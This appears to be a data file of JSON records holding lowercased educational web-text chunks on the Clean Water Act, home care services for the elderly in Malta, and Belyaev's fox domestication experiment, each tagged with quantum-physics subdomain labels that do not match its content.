ensuring homes and offices receive clean drinking water. as the legislation marks its 40th anniversary, water officials and water consumers alike are looking back on the accomplishments and planning for new ways to continue water quality improvements. \u201c the clean water act touches every source of water and establishes a goal for protecting our waterways and systems in the cities and communities where we live and work, \u201d says mike musgrave, director of program development for mwh global, a water - focused engineering consulting firm that has helped organizations and municipalities meet demands of the clean water act. while the effects of the clean water act are far - reaching, do you realize its impact on your day - to - day water usage? whether trolling your favorite fishing spot, taking a dip in your local swimming hole or enjoying a glass of tap water, the environmental protection agency and cities around the country are working together to ensure the safest possible standards are applied to water sources. here are a few facts : more than half of the nation \u2019 s waterways now meet the standards set forth in the clean water act, despite the population doubling and increasing pressure on the systems. all states are required to establish water quality standards and pollution limits for all water sources in their jurisdiction. companies across the country are required to change their pollution habits to preserve the natural aqua - environments in their areas. as a result, those pristine environments will be sustained and kept clean for many more generations to enjoy. the clean water act resulted in many aging sewers and pipelines across the country getting a facelift. this means more efficient, sustainable water infrastructure around the country. more projects to upgrade aging infrastructure are also planned or underway today. \u201c working with cities to implement the clean water act water quality standards will continue to positively impact our nation \u2019 s water from origination to treatment to delivery, \u201d musgrave says. \u201c every person deserves clean water, and we hope the next 40 years will bring even more improvements to protect our country \u2019 s most irreplaceable resource. \u201d", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44727680827498867, "token_count": 422, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.307330"} {"text": "legislation relating to the provision of home care services according to the maltese civil code ( book first of persons, art. 2 ), a married person who is in need of help with daily living can rely on maintenance from his / her spouse provided that they still live together. maintenance is defined in article 19, paragraph 1 as including food, clothing, health and habitation. children are bound to maintain their parents or other ascendants who are indigent. however, neither of the spouses can claim maintenance from their children if such maintenance could be provided by the other spouse ( art. 5. 3 ). no one is legally obliged to care for unmarried people or widows with no children. the state would be responsible for their care. the main legislation that governs home care in malta is the social security act ( cap. 318 ). this law deals with the provision of benefits, assistances and pensions to the poor, sick, elderly and the unemployed. a carer ' s pension is payable to \u201c all unmarried or widowed persons who are taking care, on their own of a parent who is bed - ridden or confined to a wheel - chair \u201d. a legal notice entitled state financed services rate regulations ( l. n. 259 of 2004 ) determines the amount that an elderly person residing in state financed homes shall contribute to government for his / her care and upkeep. care is classified as level 1 care, where residential care with only minimal basic care is provided and level 2 care where the residential service provided includes such level of care that goes beyond minimal basic care as certified by the interdisciplinary assessment team within the elderly and community services department. organisation and financing of home care services as malta is small ( 316 km2 with a population of 400, 000 ), all policies are promulgated and passed by the national government. there are consequently no formal regional or district tiers of health care. nevertheless, there are 68 local councils. they do not have any policy making power but many have an elected person who is responsible for monitoring the provision and quality of services for the elderly. although it is the responsibility of the national government to provide day - care centres, it is often on the initiative of local councils which in many cases also provide and furnish the actual building. the health care system is publicly financed through general taxation and is free at the point of delivery although users may have to make out - of - pocket payments. private healthcare is fairly common ( ministry of health, 2002 ). in 1987, the government set up a department for the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45154733812317377, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.319658"} {"text": "publicly financed through general taxation and is free at the point of delivery although users may have to make out - of - pocket payments. private healthcare is fairly common ( ministry of health, 2002 ). in 1987, the government set up a department for the care of the elderly which is responsible for taking care of the special needs of the elderly. the aim, in providing these services, is to enable elderly people and those with special needs to remain living within the community for as long as possible. community services for the elderly and for people with special needs are heavily subsidised by the state. people receiving such services pay a nominal fee based on their income ( ministry of health, 2002 ). requests for the homecare help service must be accompanied by a medical report. this is sent to the department for the elderly and community services, which then arranges for a social worker to visit the applicant in their home in order to assess their needs. the number of hours granted is dependant on each person \u2019 s needs. kinds of home care services available there is a wide range of home care services for the elderly in malta. there are 13 day centres mainly for people who are over 60 years of age. priority is given to elderly people living alone, those who are not involved in social activities and those who could be at risk spending long hours on their own. the centres, which are open 5 days a week, offer physical education, social and creative activities and sometimes educational talks on relevant issues e. g. health, home safety and welfare services. intergenerational activities are encouraged and outdoor activities are organised twice monthly. people attending day centres are required to pay a nominal fee ( ranging from lm 1 to lm 2. 5 a month depending on how many times they attend the centre ) with an additional 50 cent charge being made for couples. the handyman service offers a range of about 70 different repair jobs e. g. linked to plumbing, carpentry, transportation of objects, electrical work etc. the service is free of charge to senior citizens holding the pink form and special id card ( which are granted on a means tested basis and entitle holders to free medication and certain other benefits ). people who do not have such cards have to pay for the service. this usually amounts to lm 1 - lm 2 depending on the job required. in all cases, the person receiving the service must pay for any necessary materials. the homecare help service provides non nursing care, personal assistance and help with light domestic work to older people", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4390250135709782, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.320757"} {"text": "lm 1 - lm 2 depending on the job required. in all cases, the person receiving the service must pay for any necessary materials. the homecare help service provides non nursing care, personal assistance and help with light domestic work to older people i. e. over 60. the services are adapted to each person \u2019 s individual needs. people over the age of 85 are given priority. other criteria include having special needs and the ability to live a relatively independent life in one \u2019 s own home if given assistance, being terminally ill or living alone with no formal or informal family support network. there is a nominal fee of lm 1 per week for a single person and lm 1. 50 in the case of more than one person benefiting from the service. the preparation of meals incurs an additional charge of 50 cents for a single person and 75 cents for more than one person. the incontinence service is available to people over 60 years of age or younger people with special needs. incontinence pads / diapers are heavily subsidised in order to permit people with this problem to continue living in the community. nevertheless, there is a charge which ranges from 7 cents to 11 cents each. meals - on - wheels are provided 7 days a week by the maltese cross corps ( a non - governmental organisation ) and the catholic action movement in collaboration with the department for the elderly and community services. people over 60 years of age and people with disability, who are unable to prepare their own meals, can benefit from this service. each meal costs 95 cents ( approx. eur 2. 2 ). when delivering the meals, the specially trained staff ask whether the elderly person needs anything and keep an eye on the person \u2019 s home environment. they are expected to report anything unusual to the organisers of the service. the social work unit provides psychological counselling, guidance and assistance to certain categories of elderly people including those with dementia and those living alone with a high level of dependency. the unit \u201c deals with social casework, provides advocacy for clients, facilitates self - help management and develops action plans, performs crisis intervention work, provides assessments for residential homes, home care help service and assessments of carer \u2019 s pension for the department of social security, and liaises with the geriatric, general and rehabilitation hospitals, the health department, police, local councils and other community organizations. \u201d a medical report is necessary to benefit from this service. once approved, either the social worker visits the person in their own home or", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44067959550483976, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.321876"} {"text": "the geriatric, general and rehabilitation hospitals, the health department, police, local councils and other community organizations. \u201d a medical report is necessary to benefit from this service. once approved, either the social worker visits the person in their own home or the person has a meeting with the social worker at the offices of the department. the telecare service is designed to enable subscribers to call for help when needed. this gives older people, those with special needs and also their friends and relatives a feeling of security and encourages subscribers to carry on living in their own homes. the service is available to elderly couples / people living alone aged 80 and over, people over 70 suffering from a chronic illness, people of any age living alone who are afflicted by a life threatening illness and people who are afflicted by a life threatening illness whose carers would benefits from the service. in case of emergency, the elderly person just needs to press a button on the unit itself or on a pendant worn round the neck and a call is made to the control centre which has full medical details as well as the contact details of the person, the doctor and two relatives, friends or neighbours who have a key. the service costs lm 1 per month for single people and lm 1. 16 for two people living together the malta hospice movement offers a comprehensive range of services to terminally ill people, most of whom are elderly. this includes home care, day therapy, spiritual support, night and day nursing in the home, respite care, assistance with bathing and hairdressing. respite care is mainly provided at zammit clapp hospital, a specialised geriatrics assessment and rehabilitation hospital and at st. vincent de paul residence, a residential complex. both these units are state - run and free. however, places are limited and an application has to be submitted beforehand. respite can also be organised in residential homes run on a profit making basis, as well as in church - run residential homes. voluntary associations offering services for the elderly in the community include caritas malta, the catholic action movement, the legion of mary, the social action movement and the st vincent de paule society. in 1982, caritas set up the \u201c good neighbour scheme \u201d. every elderly person is visited, assessed and invited to participate in this free service. if interested, the volunteers motivate neighbours who then keep a friendly and regular watch on the elderly person. some provide direct help and some alert the necessary authorities in order to organise help. a number", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4231563714913238, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.323007"} {"text": "assessed and invited to participate in this free service. if interested, the volunteers motivate neighbours who then keep a friendly and regular watch on the elderly person. some provide direct help and some alert the necessary authorities in order to organise help. a number of grants are available to the elderly for home adaptations or improvements. the independent living advice centre is an organisation run by volunteers which promotes the use of technical aids to enable frail and elderly people with disabilities to manage daily activities and retain their independence. - department of information ( 2004 ). legal notice 259 of 2004 : state financed services rate regulations. http : / / www. doi. gov. mt / en / legalnotices / 2004 / 05 / ln259. pdf - information provided by charles scerri and stephen abela - malta hospice movement website : http : / / www. hospicemalta. org ( accessed in november 2005 ) - ministry of health ( 2002 ), public health report : malta 2002, department of health information : http : / / www. sahha. gov. mt / showdoc. aspx? id = 41 & filesource = 4 & file = publichealthreport2002. pdf - ministry of health website ( department of the elderly and community services ) : http : / / www. gov. mt / frame. asp? l = 2 & url = http : / / www. sahha. gov. mt ( accessed in november 2005 ) - ministry of justice ( 2004 ). laws of malta : social security act. cap 318. accessed on 7th june 2006 from http : / / docs. justice. gov. mt / lom / legislation / english / leg / vol _ 7 / chapt318. pdf - troisi, j. ( 2004 ), national background report for malta, eurofamcare. http : / / www. uke. uni - hamburg. de / extern / eurofamcare / documents / nabare _ malta _ rc1 _ a4. pdf - zammit clapp hospital ( 2004 ). annual report 2004. http : / / www. sahha. gov. mt / showdoc. aspx? id = 2 & filesource = 4 & file = zchannualreport _ 2004. pdf last updated : mittwoch, 15. juli 2009", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43760585954048115, "token_count": 489, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.323941"} {"text": "early canid domestication : the farm - fox experiment foxes bred for tamability in a 40 - year experiment exhibit remarkable transformations that suggest an interplay between behavioral genetics and development when scientists ponder how animals came to be domesticated, they almost inevitably wind up thinking about dogs. the dog was probably the first domestic animal, and it is the one in which domestication has progressed the furthest \u2014 far enough to turn canis lupus into canis familiaris. evolutionary theorists have long speculated about exactly how dogs ' association with human beings may have been linked to their divergence from their wild wolf forebears, a topic that anthropologist darcy morey has discussed in some detail in the pages of this magazine ( july \u2013 august 1994 ). as morey pointed out, debates about the origins of animal domestication tend to focus on \" the issue of intentionality \" \u2014 the extent to which domestication was the result of deliberate human choice. was domestication actually \" self - domestication, \" the colonization of new ecological niches by animals such as wolves? or did it result from intentional decisions by human beings? how you answer those questions will determine how you understand the morphological and physiological changes that domestication has brought about \u2014 whether as the results of the pressure of natural selection in a new niche, or as deliberately cultivated advantageous traits. in many ways, though, the question of intentionality is beside the point. domestication was not a single event but rather a long, complex process. natural selection and artificial selection may both have operated at different times or even at the same time. for example, even if prehistoric people deliberately set out to domesticate wolves, natural selection would still have been at work. the selective regime may have changed drastically when wolves started living with people, but selective pressure continued regardless of anything homo sapiens chose to do. another problem with the debate over intentionality is that it can overshadow other important questions. for example, in becoming domesticated, animals have undergone a host of changes in morphology, physiology and behavior. what do those changes have in common? do they stem from a single cause, and if so, what is it? in the case of the dog, morey identifies one common factor as pedomorphosis, the retention of juvenile traits by adults. those traits include both morphological ones, such as skulls that are unusually broad for their length, and behavioral ones, such as whining, barking and submissiveness \u2014 all characteristics that wolves outgrow but that dogs do not. morey", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49075011402149626, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.350048"} {"text": ". those traits include both morphological ones, such as skulls that are unusually broad for their length, and behavioral ones, such as whining, barking and submissiveness \u2014 all characteristics that wolves outgrow but that dogs do not. morey considers pedomorphosis in dogs a by - product of natural selection for earlier sexual maturity and smaller body size, features that, according to evolutionary theory, ought to increase the fitness of animals engaged in colonizing a new ecological niche. the common patterns are not confined to a single species. in a wide range of mammals \u2014 herbivores and predators, large and small \u2014 domestication seems to have brought with it strikingly similar changes in appearance and behavior : changes in size, changes in coat color, even changes in the animals ' reproductive cycles. our research group at the institute of cytology and genetics in novosibirsk, siberia, has spent decades investigating such patterns and other questions of the early evolution of domestic animals. our work grew out of the interests and ideas of the late director of our institute, the geneticist dmitry k. belyaev. like morey, belyaev believed that the patterns of changes observed in domesticated animals resulted from genetic changes that occurred in the course of selection. belyaev, however, believed that the key factor selected for was not size or reproduction, but behavior \u2014 specifically amenability to domestication, or tamability. more than any other quality, belyaev believed, tamability must have determined how well an animal would adapt to life among human beings. because behavior is rooted in biology, selecting for tameness and against aggression means selecting for physiological changes in the systems that govern the body ' s hormones and neurochemicals. those changes, in turn, could have had far - reaching effects on the development of the animals themselves, effects that might well explain why different animals would respond in similar ways when subjected to the same kinds of selective pressures. to test his hypothesis, belyaev decided to turn back the clock to the point at which animals received the first challenge of domestication. by replaying the process, he would be able to see how changes in behavior, physiology and morphology first came about. of course, reproducing the ways and means of those ancient transformations, even in the roughest outlines, would be a formidable task. to keep things as clear and simple as possible, belyaev designed a selective - breeding program to reproduce a single major factor, strong selection pressure for tamability. he chose as", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5059856520151429, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.351238"} {"text": ", even in the roughest outlines, would be a formidable task. to keep things as clear and simple as possible, belyaev designed a selective - breeding program to reproduce a single major factor, strong selection pressure for tamability. he chose as his experimental model a species taxonomically close to the dog but never before domesticated : vulpes vulpes, the silver fox. belyaev ' s fox - breeding experiment occupied the last 26 years of his life. today, 14 years after his death, it is still in progress. through genetic selection alone, our research group has created a population of tame foxes fundamentally different in temperament and behavior from their wild forebears. in the process we have observed some striking changes in physiology, morphology and behavior, which mirror the changes known in other domestic animals and bear out many of belyaev ' s ideas. belyaev began his experiment in 1959, a time when soviet genetics was starting to recover from the anti - darwinian ideology of trofim lysenko. belyaev ' s own career had suffered. in 1948 his commitment to orthodox genetics had cost him his job as head of the department of fur animal breeding at the central research laboratory of fur breeding in moscow. during the 1950s he continued to conduct genetic research under the guise of studying animal physiology. he moved to novosibirsk, where he helped found the siberian department of the soviet ( now russian ) academy of sciences and became the director of the department ' s institute of cytology and genetics, a post he held from 1959 until his death in 1985. under his leadership the institute became a center of basic and applied research in both classical genetics and modern molecular genetics. his own work included ground - breaking investigations of evolutionary change in animals under extreme conditions ( including domestication ) and of the evolutionary roles of factors such as stress, selection for behavioral traits and the environmental photoperiod, or duration of natural daylight. animal domestication was his lifelong project, and fur bearers were his favorite subjects. early in the process of domestication, belyaev noted, most domestic animals had undergone the same basic morphological and physiological changes. their bodies changed in size and proportions, leading to the appearance of dwarf and giant breeds. the normal pattern of coat color that had evolved as camouflage in the wild altered as well. many domesticated animals are piebald, completely lacking pigmentation in specific body areas. hair turned wavy or curly, as it has done in astrakhan sheep, poodles, domestic donkeys", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5612630599317577, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.352282"} {"text": "as camouflage in the wild altered as well. many domesticated animals are piebald, completely lacking pigmentation in specific body areas. hair turned wavy or curly, as it has done in astrakhan sheep, poodles, domestic donkeys, horses, pigs, goats and even laboratory mice and guinea pigs. some animals ' hair also became longer ( angora type ) or shorter ( rex type ). tails changed, too. many breeds of dogs and pigs carry their tails curled up in a circle or semicircle. some dogs, cats and sheep have short tails resulting from a decrease in the number of tail vertebrae. ears became floppy. as darwin noted in chapter 1 of on the origin of species, \" not a single domestic animal can be named which has not in some country drooping ears \" \u2014 a feature not found in any wild animal except the elephant. another major evolutionary consequence of domestication is loss of the seasonal rhythm of reproduction. most wild animals in middle latitudes are genetically programmed to mate once a year, during mating seasons cued by changes in daylight. domestic animals at the same latitudes, however, now can mate and bear young more than once a year and in any season. belyaev believed that similarity in the patterns of these traits was the result of selection for amenability to domestication. behavioral responses, he reasoned, are regulated by a fine balance between neurotransmitters and hormones at the level of the whole organism. the genes that control that balance occupy a high level in the hierarchical system of the genome. even slight alterations in those regulatory genes can give rise to a wide network of changes in the developmental processes they govern. thus, selecting animals for behavior may lead to other, far - reaching changes in the animals ' development. because mammals from widely different taxonomic groups share similar regulatory mechanisms for hormones and neurochemistry, it is reasonable to believe that selecting them for similar behavior \u2014 tameness \u2014 should alter those mechanisms, and the developmental pathways they govern, in similar ways. for belyaev ' s hypothesis to make evolutionary sense, two more things must be true. variations in tamability must be determined at least partly by an animal ' s genes, and domestication must place that animal under strong selective pressure. we have looked into both questions. in the early 1960s our team studied the patterns and nature of tamability in populations of farm foxes. we cross - bred foxes of different behavior, cross - fostered newborns and even transplanted embryos between donor and host mothers known", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5389543931778896, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.353419"} {"text": "both questions. in the early 1960s our team studied the patterns and nature of tamability in populations of farm foxes. we cross - bred foxes of different behavior, cross - fostered newborns and even transplanted embryos between donor and host mothers known to react differently to human beings. our studies showed that about 35 percent of the variations in the foxes ' defense response to the experimenter are genetically determined. to get some idea of how powerful the selective pressures on those genes might have been, our group has domesticated other animals, including river otters ( lutra lutra ) and gray rats ( rattus norvegicus ) caught in the wild. out of 50 otters caught during recent years, only eight of them ( 16 percent ) showing weak defensive behavior made a genetic contribution to the next generation. among the gray rats, only 14 percent of the wild - caught yielded offspring living to adulthood. if our numbers are typical, it is clear that domestication must place wild animals under extreme stress and severe selective pressure. in setting up our breeding experiment, belyaev bypassed that initial trauma. he began with 30 male foxes and 100 vixens, most of them from a commercial fur farm in estonia. the founding foxes were already tamer than their wild relatives. foxes had been farmed since the beginning of this century, so the earliest steps of domestication \u2014 capture, caging and isolation from other wild foxes \u2014 had already left their marks on our foxes ' genes and behavior. from the outset, belyaev selected foxes for tameness and tameness alone, a criterion we have scrupulously followed. selection is strict ; in recent years, typically not more than 4 or 5 percent of male offspring and about 20 percent of female offspring have been allowed to breed. to ensure that their tameness results from genetic selection, we do not train the foxes. most of them spend their lives in cages and are allowed only brief \" time dosed \" contacts with human beings. pups are caged with their mothers until they are 11 / 2 to 2 months old. then they are caged with their litter mates but without their mothers. at three months, each pup is moved to its own cage. to evaluate the foxes for tameness, we give them a series of tests. when a pup is one month old, an experimenter offers it food from his hand while trying to stroke and handle the pup. the pups are tested twice, once in a cage and once while moving freely with other pups in an enclosure, where", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5359345529271996, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.354535"} {"text": "a pup is one month old, an experimenter offers it food from his hand while trying to stroke and handle the pup. the pups are tested twice, once in a cage and once while moving freely with other pups in an enclosure, where they can choose to make contact either with the human experimenter or with another pup. the test is repeated monthly until the pups are six or seven months old. at seven or eight months, when the foxes reach sexual maturity, they are scored for tameness and assigned to one of three classes. the least domesticated foxes, those that flee from experimenters or bite when stroked or handled, are assigned to class iii. ( even class iii foxes are tamer than the calmest farm - bred foxes. among other things, they allow themselves to be hand fed. ) foxes in class ii let themselves be petted and handled but show no emotionally friendly response to experimenters. foxes in class i are friendly toward experimenters, wagging their tails and whining. in the sixth generation bred for tameness we had to add an even higher - scoring category. members of class ie, the \" domesticated elite, \" are eager to establish human contact, whimpering to attract attention and sniffing and licking experimenters like dogs. they start displaying this kind of behavior before they are one month old. by the tenth generation, 18 percent of fox pups were elite ; by the 20th, the figure had reached 35 percent. today elite foxes make up 70 to 80 percent of our experimentally selected population. now, 40 years and 45, 000 foxes after belyaev began, our experiment has achieved an array of concrete results. the most obvious of them is a unique population of 100 foxes ( at latest count ), each of them the product of between 30 and 35 generations of selection. they are unusual animals, docile, eager to please and unmistakably domesticated. when tested in groups in an enclosure, pups compete for attention, snarling fiercely at one another as they seek the favor of their human handler. over the years several of our domesticated foxes have escaped from the fur farm for days. all of them eventually returned. probably they would have been unable to survive in the wild. physically, the foxes differ markedly from their wild relatives. some of the differences have obvious links to the changes in their social behavior. in dogs, for example, it is well known that the first weeks of life are crucial for forming primary social bonds with human beings. the \" window \" of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5570924719627928, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.355867"} {"text": "wild relatives. some of the differences have obvious links to the changes in their social behavior. in dogs, for example, it is well known that the first weeks of life are crucial for forming primary social bonds with human beings. the \" window \" of bonding opens when a puppy becomes able to sense and explore its surroundings, and it closes when the pup starts to fear unknown stimuli. according to our studies, nondomesticated fox pups start responding to auditory stimuli on day 16 after birth, and their eyes are completely open by day 18 or 19. on average, our domesticated fox pups respond to sounds two days earlier and open their eyes a day earlier than their nondomesticated cousins. nondomesticated foxes first show the fear response at 6 weeks of age ; domesticated ones show it after 9 weeks or even later. ( dogs show it at 8 to 12 weeks, depending on the breed. ) as a result, domesticated pups have more time to become incorporated into a human social environment. moreover, we have found that the delayed development of the fear response is linked to changes in plasma levels of corticosteroids, hormones concerned with an animal ' s adaptation to stress. in foxes, the level of corticosteroids rises sharply between the ages of 2 to 4 months and reach adult levels by the age of 8 months. one of our studies found that the more advanced an animal ' s selection for domesticated behavior was, the later it showed the fear response and the later came the surge in its plasma corticosteroids. thus, selection for domestication gives rises to changes in the timing of the postnatal development of certain physiological and hormonal mechanisms underlying the formation of social behavior. other physical changes mirror those in dogs and other domesticated animals. in our foxes, novel traits began to appear in the eighth to tenth selected generations. the first ones we noted were changes in the foxes ' coat color, chiefly a loss of pigment in certain areas of the body, leading in some cases to a star - shaped pattern on the face similar to that seen in some breeds of dog. next came traits such as floppy ears and rolled tails similar to those in some breeds of dog. after 15 to 20 generations we noted the appearance of foxes with shorter tails and legs and with underbites or overbites. the novel traits are still fairly rare. most of them show up in no more than a few animals per 100 to a few per 10, 000. some have been seen in commercial populations", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5200290937422569, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.357446"} {"text": "tails and legs and with underbites or overbites. the novel traits are still fairly rare. most of them show up in no more than a few animals per 100 to a few per 10, 000. some have been seen in commercial populations, though at levels at least a magnitude lower than we recorded in our domesticated foxes. what might have caused these changes in the fox population? before discussing belyaev ' s explanation, we should consider other possibilities. might rates and patterns of changes observed in foxes be due, for example, to inbreeding? that could be true if enough foxes in belyaev ' s founding population carried a recessive mutant gene from the trait along with a dominant normal gene that masked its effects. such mixed - gene, or heterozygous, foxes would have been hidden carriers, unaffected by the mutation themselves but capable of passing it on to later generations. as morey pointed out, inbreeding might well have been rampant during the early steps of dog domestication. but it certainly cannot explain the novel traits we have observed in our foxes, for two reasons. first, we designed the mating system for our experimental fox population to prevent it. through outbreeding with foxes from commercial fox farms and other standard methods, we have kept the inbreeding coefficients for our fox population between 0. 02 and 0. 07. that means that whenever a fox pup with a novel trait has been born into the herd, the probability that it acquired the trait through inbreeding ( that is, by inheriting both of its mutant genes from the same ancestor ) has varied between only 2 and 7 percent. second, some of the new traits are not recessive : they are controlled by dominant or incompletely dominant genes. any fox with one of those genes would have shown its effects ; there could have been no \" hidden carriers \" in the original population. another, subtler possibility is that the novelties in our domesticated population are classic by - products of strong selection for a quantitative trait. in genetics, quantitative traits are characteristics that can vary over a range of possibilities ; unlike gregor mendel ' s peas, which were either smooth or wrinkly with no middle ground, quantitative traits such as an animal ' s size, the amount of milk it produces or its overall friendliness toward human beings can be high, low or anywhere in between. what makes selecting for quantitative traits so perilous is that they ( or at least the part of them that is genetic ) tend to be controlled not by", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5678972325066984, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.358874"} {"text": "produces or its overall friendliness toward human beings can be high, low or anywhere in between. what makes selecting for quantitative traits so perilous is that they ( or at least the part of them that is genetic ) tend to be controlled not by single genes but by complex systems of genes, known as polygenes. because polygenes are so intricate, anything that tampers with them runs the risk of upsetting other parts of an organism ' s genetic machinery. in the case of our foxes, a breeding program that alters a polygene might upset the genetic balance in some animals, causing them to show unusual new traits, most of them harmful to the fox. note that in this argument, it does not matter whether the trait being selected for is tameness or some other quantitative trait. any breeding program that affects a polygene might have similar effects. the problem with that explanation is that it does not explain why we see the particular mutations we do see. if disrupted polygenes are responsible, then the effects of a selection experiment ought to depend strongly on which mutations already existed in the population. if belyaev had started with 130 foxes from, say, north america, then their descendants today would have ended up with a completely different set of novelties. domesticating a population of wolves, or pigs, or cattle ought to produce novel traits more different still. yet as belyaev pointed out, when we look at the changes in other domesticated animals, the most striking things about them are not how diverse they are, but how similar. different animals, domesticated by different people at different times in different parts of the world, appear to have passed through the same morphological and physiological evolutionary pathways. how can that be? according to belyaev, the answer is not that domestication selects for a quantitative trait but that it selects for a behavioral one. he considered genetic transformations of behavior to be the key factor entraining other genetic events. many of the polygenes determining behavior may be regulatory, engaged in stabilizing an organism ' s early development, or ontogenesis. ontogenesis is an extremely delicate process. in principle, even slight shifts in the sequence of events could throw it into chaos. thus the genes that orchestrate those events and keep them on track have a powerful role to play. which genes are they? although numerous genes interact to stabilize an organism ' s development, the lead role belongs to the genes that control the functioning of the neural and endocrine systems. yet those same genes also", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5686331382284049, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.360213"} {"text": "track have a powerful role to play. which genes are they? although numerous genes interact to stabilize an organism ' s development, the lead role belongs to the genes that control the functioning of the neural and endocrine systems. yet those same genes also govern the systems that control an animal ' s behavior, including its friendliness or hostility toward human beings. so, in principle, selecting animals for behavioral traits can fundamentally alter the development of an organism. as our breeding program has progressed, we have indeed observed changes in some of the animals ' neurochemical and neurohormonal mechanisms. for example, we have measured a steady drop in the hormone - producing activity of the foxes ' adrenal glands. among several other roles in the body, the adrenal cortex comes into play when an animal has to adapt to stress. it releases hormones such as corticosteroids, which stimulate the body to extract energy from its reserves of fats and proteins. after 12 generations of selective breeding, the basal levels of corticosteroids in the blood plasma of our domesticated foxes had dropped to slightly more than half the level in a control group. after 28 to 30 generations of selection, the level had halved again. the adrenal cortex in our foxes also responds less sharply when the foxes are subjected to emotional stress. selection has even affected the neurochemistry of our foxes ' brains. changes have taken place in the serotonin system, thought to be the leading mediator inhibiting animals ' aggressive behavior. compared with a control group, the brains of our domesticated foxes contain higher levels of serotonin ; of its major metabolite, 5 - oxyindolacetic acid ; and of tryptophan hydroxylase, the key enzyme of serotonin synthesis. serotonin, like other neurotransmitters, is critically involved in shaping an animal ' s development from its earliest stages. selection and development evidently, then, selecting foxes for domestication may have triggered profound changes in the mechanisms that regulate their development. in particular, most of the novel traits and other changes in the foxes seem to result from shifts in the rates of certain ontogenetic processes \u2014 in other words, from changes in timing. this fact is clear enough for some of the novelties mentioned above, such as the earlier eye opening and response to noises and the delayed onset of the fear response to unknown stimuli. but it also can explain some of the less obvious ones. floppy ears, for example, are", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5154291983577239, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.362249"} {"text": "for some of the novelties mentioned above, such as the earlier eye opening and response to noises and the delayed onset of the fear response to unknown stimuli. but it also can explain some of the less obvious ones. floppy ears, for example, are characteristic of newborn fox pups but may get carried over to adulthood. even novel coat colors may be attributable to changes in the timing of embryonic development. one of the earliest novel traits we observed in our domesticated foxes was a loss of pigment in parts of the head and body. belyaev determined that this piebald pattern is governed by a gene that he named star. later my colleague lyudmila prasolova and i discovered that the star gene affects the migration rate of melanoblasts, the embryonic precursors of the pigment cells ( melanocytes ) that give color to an animal ' s fur. melanocytes form in the embryonic fox ' s neural crest and later move to various parts of the embryo ' s epidermis. normally this migration starts around days 28 to 31 of the embryo ' s development. in foxes that carry even a single copy of the star gene, however, melanoblasts pass into the potentially depigmented areas of the epidermis two days later, on average. that delay may lead to the death of the tardy melanoblasts, thus altering the pigmentation in ways that give rise to the distinctive star pattern. one developmental trend to which we have devoted particular attention has to do with the growth of the skull. in 1990 and 1991, after noticing abnormal developments in the skulls and jaws of some of our foxes, we decided to study variations in the animals ' cranial traits. of course, changes in the shape of the skull are among the most obvious ways in which dogs differ from wolves. as i mentioned earlier, morey believes that they are a result of selection ( either natural or artificial ) for reproductive timing and smaller body size. in our breeding experiment, we have selected foxes only for behavior, not size ; if anything, our foxes may be slightly longer, on average, than the ones belyaev started with 40 years ago. nevertheless, we found that their skulls have been changing. in our domesticated foxes of both sexes, cranial height and width tended to be smaller, and snouts tended to be shorter and wider, than those of a control group of farmed foxes. another interesting 